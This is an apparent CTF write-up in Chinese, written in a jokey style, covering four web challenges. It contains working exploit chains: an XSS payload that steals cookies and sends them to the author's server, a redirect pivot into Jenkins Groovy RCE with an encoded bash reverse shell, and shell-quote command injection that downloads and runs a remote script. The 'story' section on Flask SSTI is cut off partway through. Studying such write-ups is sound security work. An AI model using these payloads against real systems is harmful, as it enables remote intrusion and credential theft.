写在前面

呜呜呜,shanhegiegie 太猛了,打了一天懒猫,第二天还要上课,周六补课,是谁啊,原来是👴啊,那没事了 (nmsl).

参考:

https://wm-ctf-team.feishu.cn/docx/PLbbdhwdyoAefuxokXwcYppzn1c

微信公众平台 (qq.com)

easy latex

new URL 特性😂

先来个小 demo

1
2
3
4
const username = "43.143.192.19:1145"
const vip_url = "http://vip:5000/"

console.log(new URL(username,vip_url))

微信截图_20231030151912

如此,pathname 是我们的第一个参数,host 是我们的第二个参数.

倘若我第一个参数前面加 \\ 或是 //, 阁下又当如何应对😓.

1
2
3
4
5
const username = "\\\\43.143.192.19:1145"
//const username = "//43.143.192.19:1145"
const vip_url = "http://vip:5000/"

console.log(new URL(username,vip_url))

微信截图_20231030152151

喜欢我绕过污染 host 吗😛

运用到题目🤪

不多 bb, 源码鉴赏一波

1
2
3
4
5
6
7
8
9
10
11
12
app.get('/preview', (req, res) => {
let { tex, theme } = req.query
if (!tex) {
tex = 'Today is \\today.'
}
const nonce = getNonce(16)
let base = 'https://cdn.jsdelivr.net/npm/latex.js/dist/'
if (theme) {
base = new URL(theme, `http://${req.headers.host}/theme/`) + '/'
}
res.render('preview.html', { tex, nonce, base })
})

我直接 theme 上放入我的 vps, 远程加载奥西给

1
preview?tex=asd&theme=//43.143.192.19:1145

微信截图_20231030173612

经一格德拉米的测试😤,wcsndm, 就算啥路径都不加他都会访问 /js/base.js, 这很不自由🤔.

没关系,直接在 vps 起一个一模一样的 emoji,👴真是个天才.

1
alert('wcsndm');

/var/www/html/base/base.js 放上这个代码,测试一波,让我狠狠地测!!!🥵

微信截图_20231030175131

欧内的手,好汉,奥西给,爽的雅痞,比🐍出来还爽.

visit 触发

不多 bb, 上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.get('/share/:id', reportLimiter, async (req, res) => {
const { id } = req.params
if (!id) {
res.send('no note id specified')
return
}
const url = `http://localhost:${PORT}/note/${id}`
try {
await visit(url)
res.send('done')
} catch (e) {
console.log(e)
res.send('something error')
}
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const visit = async (url) => {
console.log(`start: ${url}`)
const browser = await puppeteer.launch({
headless: 'new',
executablePath: '/usr/bin/google-chrome-stable',
args: ['--no-sandbox'],
})

const ctx = await browser.createIncognitoBrowserContext();
try{
const page = await ctx.newPage();
await page.setCookie({
name: 'flag',
value: FLAG,
domain: `${APP_HOST}:${APP_PORT}`,
httpOnly: true
})
await page.goto(url, {timeout: 5000})
await sleep(3000)
await page.close()
}catch(e){
console.log(e);
}
await ctx.close();
await browser.close()
console.log(`done: ${url}`)
}

那么众所周知,visit 就是能够自行打开浏览器并且访问,不知道的话上网查,别问👴.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.post('/vip', auth, async (req, res) => {
let username = req.session.username
let { code } = req.body
let vip_url = VIP_URL
let data = await (await fetch(new URL(username, vip_url), {
method: 'POST',
headers: {
Cookie: Object.entries(req.cookies).map(([k, v]) => `${k}=${v}`).join('; ')
},
body: new URLSearchParams({ code })
})).text()
if ('ok' == data) {
res.cookie('token', sign({ username, isVip: true }))
res.send('Congratulation! You are VIP now.')
} else {
res.send(data)
}
})

而这个 visit, 打开浏览器访问,🍪里面是携带着 flag, 所以👴要拿到这个🍪.

但是 flag 不一定能够传来,而 vip 路由能够强制让 Cookie 携带就很好✌

不过直接访问是拿不到的,怎么办捏,xss 过来!

1
/share路由new url访问->/preview路由进行new url xss->加载vps恶意js->以带🍪的身份访问/login和/vip,触发vip的fetch访问->将🍪数据转到xss平台.

使用 urlencode

1
2
/share/%2e%2e%2f%70%72%65%76%69%65%77%3f%74%65%78%3d%61%77%64%61%64%61%77%64%26%74%68%65%6d%65%3d%2f%2f%34%33%2e%31%34%33%2e%31%39%32%2e%31%39%3a%31%31%34%35
/share/../preview?tex=awdadawd&theme=//43.143.192.19:1145

目录穿越大法访问 preview, 至于为啥用 url 编码,因为是接在路径之后的,容易被解析成路径而不是传递的参数.

js 上放丶东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const login = '/login';
const vip = '/vip';
const loginreq = new URLSearchParams({
username: '//z08vedyv.requestrepo.com',
password: '7bbf4ac9596b5662b44db993bd8050dd',
});
const changshu = {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: loginreq,
};

async function evil() {
try {
const loginrep = await fetch(login, changshu);
if (loginrep.ok) {
const vipResponse = await fetch(vip, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: new URLSearchParams({ code: "awdawdwadwadwadwa" }),
credentials: 'include',
});
// 在这里你可以处理vipResponse
} else {
// 在这里处理登录失败的情况
}
} catch (error) {
console.error(error);
}
}

evil();

👴爱使用 Dashboard - requestrepo.com 收 cookies

cnm 不好用,还是 vps 得劲

微信截图_20231030181708

eeeeeeeeeeeeeeez, もろいもろい。

最後の exp 改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const login = '/login';
const vip = '/vip';
const loginreq = new URLSearchParams({
username: '//43.143.192.19:7777',
password: '9aaf577e773320b3548fdc5f37aa6e74'
});
const changshu = {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: loginreq,
};

async function evil() {
try {
const loginrep = await fetch(login, changshu);
if (loginrep.ok) {
const vipResponse = await fetch(vip, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: new URLSearchParams({ code: "awdawdwadwadwadwa" }),
credentials: 'include',
});
// 在这里你可以处理vipResponse
} else {
// 在这里处理登录失败的情况
}
} catch (error) {
console.error(error);
}
}

evil();

现在,👴就是新世界の卡密.

hooks

https://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

what is webhook🤔

Webhook 是一种通过 HTTP 协议实现的回调机制,用于将实时事件和数据从一个应用程序传递到另一个应用程序。Webhook 允许应用程序在特定事件发生时自动通知其他应用程序,这种通知是通过 HTTP POST 请求进行的。它是一种用于实现实时通信和数据传递的轻量级机制。

以下是 Webhook 的主要特点和用途:

事件驱动通知: Webhook 主要用于事件驱动的通知,例如新的订单、新的消息、状态更改等。当特定事件发生时,源应用程序将发送 HTTP POST 请求到目标应用程序的 Webhook URL,通知目标应用程序进行响应。

实时性: Webhook 通常具有低延迟,因为它们是即时触发的。当事件发生时,通知立即发送,而不需要轮询或定期检查。

自动化: Webhook 允许自动化处理事件和数据,减少了手动干预的需要。这对于集成不同应用程序、自动化工作流程和提高效率非常有用。

扩展性: Webhook 可以与各种不同类型的应用程序和服务集成,使其具有很高的灵活性和扩展性。

数据传递: Webhook 可以传递各种数据格式,包括 JSON、XML、表单数据等,这使得它们适用于多种应用场景。

重点🤪:webhook 只允许我们发送 POST 请求,没法控制请求的 body, 甚至没有 csrf 的 token😓

Abusing Jenkins login

不说人话:

Jenkins 是一个开源的自动化服务器,用于构建、测试和部署软件项目。它提供了一个灵活的平台,使团队能够自动化整个软件开发过程中的各种任务。以下是 Jenkins 的主要特点和用途:

持续集成 (CI) 和持续交付 (CD): Jenkins 通过自动化构建和测试过程,支持持续集成和持续交付,使团队能够频繁地、可靠地交付软件。

插件生态系统: Jenkins 具有强大的插件生态系统,允许用户轻松地扩展其功能。有数千个可用的插件,用于与各种工具和技术进行集成。

分布式构建: Jenkins 支持分布式构建,可以将构建任务分发到多个构建代理 (Nodes),以提高构建性能和可扩展性。

自动化部署: Jenkins 可以与各种部署工具和云平台集成,支持自动化部署到不同环境,包括开发、测试和生产环境。

可视化界面: Jenkins 提供直观的 Web 用户界面,用于管理构建任务、查看构建历史和生成报告。

多种构建工具支持: Jenkins 可以与各种构建工具集成,包括 Apache Ant、Maven、Gradle 等。

多语言支持: Jenkins 支持多种编程语言和技术栈,使其适用于各种项目。

安全性和权限控制: Jenkins 具有强大的安全性和权限控制功能,可以管理用户和角色的访问权限。

日志记录和报告: Jenkins 生成详细的构建日志和报告,以便诊断问题和追踪构建进度。

活跃的社区和支持: Jenkins 是一个开源项目,有一个活跃的社区,提供支持、文档和插件。

说人话:👴也不知道

一种绕过它们的方法,从登录页面开始。我们可以尝试暴力破解用户凭据,因为 Jenkins 用户在其自己的用户数据库中进行管理,或者使用其他缺乏基本保护(例如密码策略或针对自动化的保护)的用户管理方法,这是很常见的。(机翻,👴看不懂🐏文)

总而言之就是,通过 github 或 gitlab 的 webhooks 经过 python 中转,打到题目的内网.

👴真 tm 是个 sb, 看个文章没看全,把一部分 exp 拿去打,死活打不通,后来问⛰🌊giegie, 才知道要通过 python 写个重定向中转才能有回显,说是有视频演示,👴tm🐇了,没这么 sb 吧,阿米诺斯.

开打😤

1
2
3
4
5
6
7
from flask import Flask,redirect
app = Flask(__name__)
@app.route('/evil', methods=['POST'])
def evil():
return redirect("http://124.70.33.170:8088/redirect?redirect_url=http://jenkins:8080/",code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=7777)

微信截图_20231031084325

微信截图_20231031081144

1
2
3
4
5
6
<!DOCTYPE html><html><head resURL="/static/e1c81722" data-rooturl="" data-resurl="/static/e1c81722">


<title>Dashboard [Jenkins]</title><link rel="stylesheet" href="/static/e1c81722/css/layout-common.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/css/style.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/css/color.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/css/responsive-grid.css" type="text/css" /><link rel="shortcut icon" href="/static/e1c81722/favicon.ico" type="image/vnd.microsoft.icon" /><link color="black" rel="mask-icon" href="/images/mask-icon.svg" /><script>var isRunAsTest=false; var rootURL=""; var resURL="/static/e1c81722";</script><script src="/static/e1c81722/scripts/prototype.js" type="text/javascript"></script><script src="/static/e1c81722/scripts/behavior.js" type="text/javascript"></script><script src='/adjuncts/e1c81722/org/kohsuke/stapler/bind.js' type='text/javascript'></script><script src="/static/e1c81722/scripts/yui/yahoo/yahoo-min.js"></script><script src="/static/e1c81722/scripts/yui/dom/dom-min.js"></script><script src="/static/e1c81722/scripts/yui/event/event-min.js"></script><script src="/static/e1c81722/scripts/yui/animation/animation-min.js"></script><script src="/static/e1c81722/scripts/yui/dragdrop/dragdrop-min.js"></script><script src="/static/e1c81722/scripts/yui/container/container-min.js"></script><script src="/static/e1c81722/scripts/yui/connection/connection-min.js"></script><script src="/static/e1c81722/scripts/yui/datasource/datasource-min.js"></script><script src="/static/e1c81722/scripts/yui/autocomplete/autocomplete-min.js"></script><script src="/static/e1c81722/scripts/yui/menu/menu-min.js"></script><script src="/static/e1c81722/scripts/yui/element/element-min.js"></script><script src="/static/e1c81722/scripts/yui/button/button-min.js"></script><script src="/static/e1c81722/scripts/yui/storage/storage-min.js"></script><script src="/static/e1c81722/scripts/hudson-behavior.js" type="text/javascript"></script><script src="/static/e1c81722/scripts/sortable.js" type="text/javascript"></script><script>crumb.init("", "");</script><link rel="stylesheet" href="/static/e1c81722/scripts/yui/container/assets/container.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/scripts/yui/assets/skins/sam/skin.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/scripts/yui/container/assets/skins/sam/container.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/scripts/yui/button/assets/skins/sam/button.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/scripts/yui/menu/assets/skins/sam/menu.css" type="text/css" /><link rel="search" href="/opensearch.xml" type="application/opensearchdescription+xml" title="Jenkins" /><meta name="ROBOTS" content="INDEX,NOFOLLOW" /><meta name="viewport" content="width=device-width, initial-scale=1" /><link rel="alternate" href="/rssAll" title="Jenkins:all (all builds)" type="application/rss+xml" /><link rel="alternate" href="/rssAll?flavor=rss20" title="Jenkins:all (all builds) (RSS 2.0)" type="application/rss+xml" /><link rel="alternate" href="/rssFailed" title="Jenkins:all (failed builds)" type="application/rss+xml" /><link rel="alternate" href="/rssFailed?flavor=rss20" title="Jenkins:all (failed builds) (RSS 2.0)" type="application/rss+xml" /><script src="/static/e1c81722/scripts/yui/cookie/cookie-min.js"></script><script>
YAHOO.util.Cookie.set("screenResolution", screen.width+"x"+screen.height);
</script><script src="/static/e1c81722/jsbundles/page-init.js" type="text/javascript"></script></head><body data-model-type="hudson.model.AllView" id="jenkins" class="yui-skin-sam two-column jenkins-2.138" data-version="2.138"><a href="#skip2content" class="skiplink">Skip to content</a><div id="page-head"><div id="header"><div class="logo"><a id="jenkins-home-link" href="/"><img src="/static/e1c81722/images/headshot.png" alt="[Jenkins]" id="jenkins-head-icon" /><img src="/static/e1c81722/images/title.png" alt="Jenkins" width="139" id="jenkins-name-icon" height="34" /></a></div><div class="login"> <a href="/login?from=%2F"><b>log in</b></a></div><div class="searchbox hidden-xs"><form method="get" name="search" action="/search/" style="position:relative;" class="no-json"><div id="search-box-minWidth"></div><div id="search-box-sizer"></div><div id="searchform"><input name="q" placeholder="search" id="search-box" class="has-default-text" /> <a href="https://jenkins.io/redirect/search-box"><img src="/static/e1c81722/images/16x16/help.png" style="width: 16px; height: 16px; " class="icon-help icon-sm" /></a><div id="search-box-completion"></div><script>createSearchBox("/search/");</script></div></form></div></div><div id="breadcrumbBar"><tr id="top-nav"><td id="left-top-nav" colspan="2"><link rel='stylesheet' href='/adjuncts/e1c81722/lib/layout/breadcrumbs.css' type='text/css' /><script src='/adjuncts/e1c81722/lib/layout/breadcrumbs.js' type='text/javascript'></script><div class="top-sticker noedge"><div class="top-sticker-inner"><div id="right-top-nav"><div id="right-top-nav"><div class="smallfont"><a href="?auto_refresh=true">ENABLE AUTO REFRESH</a></div></div></div><ul id="breadcrumbs"><li class="item"><a href="/" class="model-link inside">Jenkins</a></li><li href="/" class="children"></li></ul><div id="breadcrumb-menu-target"></div></div></div></td></tr></div></div><div id="page-body" class="clear"><div id="side-panel"><div id="tasks"><div class="task"><a href="/asynchPeople/" class="task-icon-link"><img src="/static/e1c81722/images/24x24/user.png" style="width: 24px; height: 24px; width: 24px; height: 24px; margin: 2px;" class="icon-user icon-md" /></a> <a href="/asynchPeople/" class="task-link">People</a></div><div class="task"><a href="/view/all/builds" class="task-icon-link"><img src="/static/e1c81722/images/24x24/notepad.png" style="width: 24px; height: 24px; width: 24px; height: 24px; margin: 2px;" class="icon-notepad icon-md" /></a> <a href="/view/all/builds" class="task-link">Build History</a></div><div class="task"><a href="/credentials" class="task-icon-link"><img src="/static/e1c81722/plugin/credentials/images/24x24/credentials.png" style="width: 24px; height: 24px; width: 24px; height: 24px; margin: 2px;" class="icon-credentials-credentials icon-md" /></a> <a href="/credentials" class="task-link">Credentials</a></div></div><div id="buildQueue" class="container-fluid pane-frame track-mouse expanded"><div class="row"><div class="col-xs-24 pane-header"><a href="/toggleCollapse?paneId=buildQueue" title="collapse" class="collapse"><img src="/static/e1c81722/images/16x16/collapse.png" alt="collapse" style="width: 16px; height: 16px; " class="icon-collapse icon-sm" /></a>Build Queue</div></div><div class="row pane-content"><table class="pane "><script src='/adjuncts/e1c81722/lib/form/link/link.js' type='text/javascript'></script><tr><td class="pane" colspan="2">No builds in the queue.</td></tr></table></div></div><script defer="defer">refreshPart('buildQueue',"/ajaxBuildQueue");</script><div id="executors" class="container-fluid pane-frame track-mouse expanded"><div class="row"><div class="col-xs-24 pane-header"><a href="/toggleCollapse?paneId=executors" title="collapse" class="collapse"><img src="/static/e1c81722/images/16x16/collapse.png" alt="collapse" style="width: 16px; height: 16px; " class="icon-collapse icon-sm" /></a><a href='/computer/'>Build Executor Status</a></div></div><div class="row pane-content"><table class="pane "><colgroup><col width="30" /><col width="200*" /><col width="24" /></colgroup><tr></tr><tr><td class="pane" align="right" style="vertical-align: top">1</td><td class="pane">Idle</td><td class="pane"></td><td class="pane"></td></tr><tr><td class="pane" align="right" style="vertical-align: top">2</td><td class="pane">Idle</td><td class="pane"></td><td class="pane"></td></tr></table></div></div><script defer="defer">refreshPart('executors',"/ajaxExecutors");</script></div><div id="main-panel"><a name="skip

看到 jenkins 版本为 2.138, 别问👴怎么看到的,你咋那么多事呢😡

https://www.cnblogs.com/cute-puli/p/15378440.html

1
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22命令替换%22.execute()}}

打这个命令

1
http://jenkins:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xNDMuMTkyLjE5LzExNDUgMD4mMQ==}|{base64,-d}|{bash,-i}".execute()}}

先把 value 的值 url 编码,然后把整个重定向网址 url 编码,

1
http://jenkins:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=%70%75%62%6c%69%63%20%63%6c%61%73%73%20%78%20%7b%0a%20%20%70%75%62%6c%69%63%20%78%28%29%7b%0a%20%20%20%20%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4d%79%34%78%4e%44%4d%75%4d%54%6b%79%4c%6a%45%35%4c%7a%45%78%4e%44%55%67%4d%44%34%6d%4d%51%3d%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%2e%65%78%65%63%75%74%65%28%29%0a%20%20%7d%0a%7d
1
%68%74%74%70%3a%2f%2f%6a%65%6e%6b%69%6e%73%3a%38%30%38%30%2f%73%65%63%75%72%69%74%79%52%65%61%6c%6d%2f%75%73%65%72%2f%61%64%6d%69%6e%2f%64%65%73%63%72%69%70%74%6f%72%42%79%4e%61%6d%65%2f%6f%72%67%2e%6a%65%6e%6b%69%6e%73%63%69%2e%70%6c%75%67%69%6e%73%2e%73%63%72%69%70%74%73%65%63%75%72%69%74%79%2e%73%61%6e%64%62%6f%78%2e%67%72%6f%6f%76%79%2e%53%65%63%75%72%65%47%72%6f%6f%76%79%53%63%72%69%70%74%2f%63%68%65%63%6b%53%63%72%69%70%74%3f%73%61%6e%64%62%6f%78%3d%74%72%75%65%26%76%61%6c%75%65%3d%25%37%30%25%37%35%25%36%32%25%36%63%25%36%39%25%36%33%25%32%30%25%36%33%25%36%63%25%36%31%25%37%33%25%37%33%25%32%30%25%37%38%25%32%30%25%37%62%25%30%61%25%32%30%25%32%30%25%37%30%25%37%35%25%36%32%25%36%63%25%36%39%25%36%33%25%32%30%25%37%38%25%32%38%25%32%39%25%37%62%25%30%61%25%32%30%25%32%30%25%32%30%25%32%30%25%32%32%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%33%25%32%30%25%37%62%25%36%35%25%36%33%25%36%38%25%36%66%25%32%63%25%35%39%25%36%64%25%34%36%25%37%61%25%36%31%25%34%33%25%34%31%25%37%34%25%36%31%25%35%33%25%34%31%25%32%62%25%34%61%25%36%39%25%34%31%25%37%36%25%35%61%25%34%37%25%35%36%25%33%32%25%34%63%25%33%33%25%35%32%25%36%61%25%36%33%25%34%33%25%33%38%25%33%30%25%34%64%25%37%39%25%33%34%25%37%38%25%34%65%25%34%34%25%34%64%25%37%35%25%34%64%25%35%34%25%36%62%25%37%39%25%34%63%25%36%61%25%34%35%25%33%35%25%34%63%25%37%61%25%34%35%25%37%38%25%34%65%25%34%34%25%35%35%25%36%37%25%34%64%25%34%34%25%33%34%25%36%64%25%34%64%25%35%31%25%33%64%25%33%64%25%37%64%25%37%63%25%37%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%32%64%25%36%34%25%37%64%25%37%63%25%37%62%25%36%32%25%36%31%25%37%33%25%36%38%25%32%63%25%32%64%25%36%39%25%37%64%25%32%32%25%32%65%25%36%35%25%37%38%25%36%35%25%36%33%25%37%35%25%37%34%25%36%35%25%32%38%25%32%39%25%30%61%25%32%30%25%32%30%25%37%64%25%30%61%25%37%64

最终 exp,👴の最後のエクスプロイト (exloit)

1
2
3
4
5
6
7
from flask import Flask,redirect
app = Flask(__name__)
@app.route('/evil', methods=['POST'])
def evil():
return redirect("http://124.70.33.170:8088/redirect?redirect_url=%68%74%74%70%3a%2f%2f%6a%65%6e%6b%69%6e%73%3a%38%30%38%30%2f%73%65%63%75%72%69%74%79%52%65%61%6c%6d%2f%75%73%65%72%2f%61%64%6d%69%6e%2f%64%65%73%63%72%69%70%74%6f%72%42%79%4e%61%6d%65%2f%6f%72%67%2e%6a%65%6e%6b%69%6e%73%63%69%2e%70%6c%75%67%69%6e%73%2e%73%63%72%69%70%74%73%65%63%75%72%69%74%79%2e%73%61%6e%64%62%6f%78%2e%67%72%6f%6f%76%79%2e%53%65%63%75%72%65%47%72%6f%6f%76%79%53%63%72%69%70%74%2f%63%68%65%63%6b%53%63%72%69%70%74%3f%73%61%6e%64%62%6f%78%3d%74%72%75%65%26%76%61%6c%75%65%3d%25%37%30%25%37%35%25%36%32%25%36%63%25%36%39%25%36%33%25%32%30%25%36%33%25%36%63%25%36%31%25%37%33%25%37%33%25%32%30%25%37%38%25%32%30%25%37%62%25%30%61%25%32%30%25%32%30%25%37%30%25%37%35%25%36%32%25%36%63%25%36%39%25%36%33%25%32%30%25%37%38%25%32%38%25%32%39%25%37%62%25%30%61%25%32%30%25%32%30%25%32%30%25%32%30%25%32%32%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%33%25%32%30%25%37%62%25%36%35%25%36%33%25%36%38%25%36%66%25%32%63%25%35%39%25%36%64%25%34%36%25%37%61%25%36%31%25%34%33%25%34%31%25%37%34%25%36%31%25%35%33%25%34%31%25%32%62%25%34%61%25%36%39%25%34%31%25%37%36%25%35%61%25%34%37%25%35%36%25%33%32%25%34%63%25%33%33%25%35%32%25%36%61%25%36%33%25%34%33%25%33%38%25%33%30%25%34%64%25%37%39%25%33%34%25%37%38%25%34%65%25%34%34%25%34%64%25%37%35%25%34%64%25%35%34%25%36%62%25%37%39%25%34%63%25%36%61%25%34%35%25%33%35%25%34%63%25%37%61%25%34%35%25%37%38%25%34%65%25%34%34%25%35%35%25%36%37%25%34%64%25%34%34%25%33%34%25%36%64%25%34%64%25%35%31%25%33%64%25%33%64%25%37%64%25%37%63%25%37%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%32%64%25%36%34%25%37%64%25%37%63%25%37%62%25%36%32%25%36%31%25%37%33%25%36%38%25%32%63%25%32%64%25%36%39%25%37%64%25%32%32%25%32%65%25%36%35%25%37%38%25%36%35%25%36%33%25%37%35%25%37%34%25%36%35%25%32%38%25%32%39%25%30%61%25%32%30%25%32%30%25%37%64%25%30%61%25%37%64",code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=7777)

微信截图_20231031083826

哈哈哈哈哈!欺骗世界这种事情,对于👴来说,简直小菜一碟.

わたしは強い あなたたちより強い!

这一切都是命运石之门的选择!

~Ave Mujica’s Masquerade~

「お幸せに」, 希啊哇赛你妹的,👴很😡😡.

源码,冲😓

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
app.get('/checker', (req, res) => {
let url = req.query.url;

if (url) {

let host;
let port;

// MakE it Safer!!!!!
if (url.includes(":")) {
const parts = url.split(":");
host = parts[0];
port = parts.slice(1).join(":");
} else {
host = url;
}
if (port) {
command = shellQuote.quote(["nmap", "-p", port, host]); // Construct the shell command
} else {
command = shellQuote.quote(["nmap", "-p", "80", host]);
}
nmap = spawn("bash", ["-c", command]);
console.log(command);

nmap.on('exit', function (code) {
console.log('child process exited with code ' + code.toString());
if (code !== 0) {
res.send(`Error executing command!!!`);
} else {
res.send(`Ok...`);
}
});

} else {
res.send('No parameter provided.');
}
});

不多 bb, 就是打这个 checker 路由.

👴觉得 shellQuote,quote 很陌生,很不对劲,怎么办,搜 exp!

别跟👴说你不会搜,nmd 不要用国内的答辩引擎,上🥁🕊直接:shellQuote exploit

第一个就是了,其它都不好使:Exploiting CVE-2021-42740 (wh0.github.io)

不说人话:shell-quote 包通常用于转义不受信任的输入,以便在 shell 命令中使用。此示例采用不受信任的输入,引用它,并通过一个命令运行它,该命令将其打印出来。我们只希望它返回一个字符串,而不是允许不受信任的输入运行任意命令。假设我们在路径中调用 pwnme 了这个程序,如果它被执行,我们就失败了我们的安全目标:

有点难懂,来个 demo 试一下.

1
return String(s).replace(/([A-z]:)?([#!"$&'()*,:;<=>?@\[\\\]^`{|}])/g, '$1\\$2');

最好在虚拟机上用,test.js 如下

1
2
3
4
5
6
7
8
const childProcess = require('child_process');

const shellQuote = require('shell-quote');

const untrusted = process.argv[2];
console.log('untrusted', untrusted);
const result = childProcess.execSync(shellQuote.quote(['printf', '%s\n', untrusted]));
console.log('result', result);
1
node test.js '`:`./pwnme``:`'

这里的

1
'`:`pwnme``:`'

相当于 untrsuted,👴直接就说了.

pwnme 输入

1
2
3
#!/bin/sh
touch /tmp/i-am-pwned
echo "oh no"

输入命令

1
node test.js '`:`./pwnme``:`'

直接就能执行 pwnme 里面的内容了

空格被 ban 怎么办,用 $IFS, 别这也要👴教.

你现在明白了怎么绘世了.

1
command = shellQuote.quote(["nmap", "-p", port, host]);

现在也就是要控制 port

1
"127.0.0.1:`:`wget$IFS``:`

$IFS

1
%20%09%0A%00%0A

$9

1
%09

先下载

1
http://124.70.33.170:24001/checker?url="127.0.0.0:`:`wget$IFS$943.143.192.19:7777/a.sh``:`

微信截图_20231031150210

报错并无关系,已经执行力.

再执行

1
http://124.70.33.170:24001/checker?url="127.0.0.0:`:`bash$IFS$9a.sh``:`

微信截图_20231031150159

芜湖,奥利安费,太 tm 爽了.

👴顺便说一下,用斜杠也能绕过

1
http://124.70.33.170:24001/checker?url="127.0.0.0:`:`bash$IFS\a.sh``:`

story

これは、わたしの物語🤣,wcsndm 题目环境没了,自己本地搭 docker.

不过问题不大,因为👴魔改了一下源码,一样能和题目效果差不多

1
app.config['SECRET_KEY'] = str(uuid.uuid4())

为了保证题目密钥的随机性,👴改成了这 b 玩意,👴可太 nb 了

不多 bb, 先上源码,让👴来看看怎么个事😊

源码🤔

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def captcha():
gen = Captcha(200, 80)
buf , captcha_text = gen.generate()

session['captcha'] = captcha_text
return buf.getvalue(), 200, {
'Content-Type': 'image/png',
'Content-Length': str(len(buf.getvalue()))
}
@app.route('/vip', methods=['POST'])
def vip():
captcha = generate_code()
captcha_user = request.json.get('captcha', '')
if captcha == captcha_user:
session['vip'] = True
return render_template("home.html")
@app.route('/story', methods=['GET'])
def story():
story = session.get('story','')
if story is not None and story != "":
tpl = open('templates/story.html', 'r').read()
return render_template_string(tpl % story)
return redirect("/")
@app.route('/write', methods=['POST','GET'])
def rename():
if request.method == "GET":
return redirect('/')

story = request.json.get('story', '')
if session.get('vip', ''):

if not minic_waf(story):
session['username'] = ""
session['vip'] = False
return jsonify({'status': 'error', 'message': 'no way~~~'})

session['story'] = story
return jsonify({'status': 'success', 'message': 'success'})

return jsonify({'status': 'error', 'message': 'Please become a VIP first.'}), 400

👴只放了三个路由,不是懒,而是没有必要,你用不着这么多了🤣

很明显,最终利用点就是 story 路由下的 render_template_string, 众所周知,这是 SSTI 的触发点.

但是参数是从 session 里面取出来的,你能伪造吗,那怎么说也得拿到 SECRET_KEY 啊,怎么拿到呢,通过 stroy 路由 ssti拿到,那我怎么 ssti, 先伪造 session, 那我怎么伪造 session, 先拿到 SECRET_KEY, 那我怎么拿到 SCECRET_KEY 呢,先 ssti…

坑爹呢!这是,😓(bushi)

好吧,正解其实是:

通过 write 路由写 session 的 story, 但是 write 路由利用有个条件,要伪造 vip, 那怎么伪造 vip, 那必然是先拿到 SECRET_KEY… 我说婷婷,打住,没完了是吧🤪.

vip 路由下能够让我们 session 中的 vip 为 true

1
2
3
4
5
6
7
def vip():
captcha = generate_code()
captcha_user = request.json.get('captcha', '')
if captcha == captcha_user:
session['vip'] = True
return render_template("home.html")
@app.route('/story', methods=['GET'])

不过条件是 generate_code 等于传入的 captcha, 而 generate_code 的生成逻辑是随机的四位,而且每访问一次都会变,直接爆破的人建议魔法披风.

我看看这个 captcha 的生成是怎么个事

1
2
3
def generate_code(length: int = 4):
characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(characters) for _ in range(length))

这玩个 p 啊,随机生成,我看看这个 class 怎么个事

1
2
3
4
5
6
7
8
9
10
11
12
13
class Captcha:
lookup_table: t.List[int] = [int(i * 1.97) for i in range(256)]

def __init__(self, width: int = 160, height: int = 60, key: int = None, length: int = 4,
fonts: t.Optional[t.List[str]] = None, font_sizes: t.Optional[t.Tuple[int]] = None):
self._width = width
self._height = height
self._length = length
self._key = (key or int(time.time())) + random.randint(1,100)
self._fonts = fonts or DEFAULT_FONTS
self._font_sizes = font_sizes or (42, 50, 56)
self._truefonts: t.List[FreeTypeFont] = []
random.seed(self._key)

哦,原来是有种子的呀,那没事了 (nmsl).

这种子是当前时间戳的取证拼接 1 到 100 的随机数.

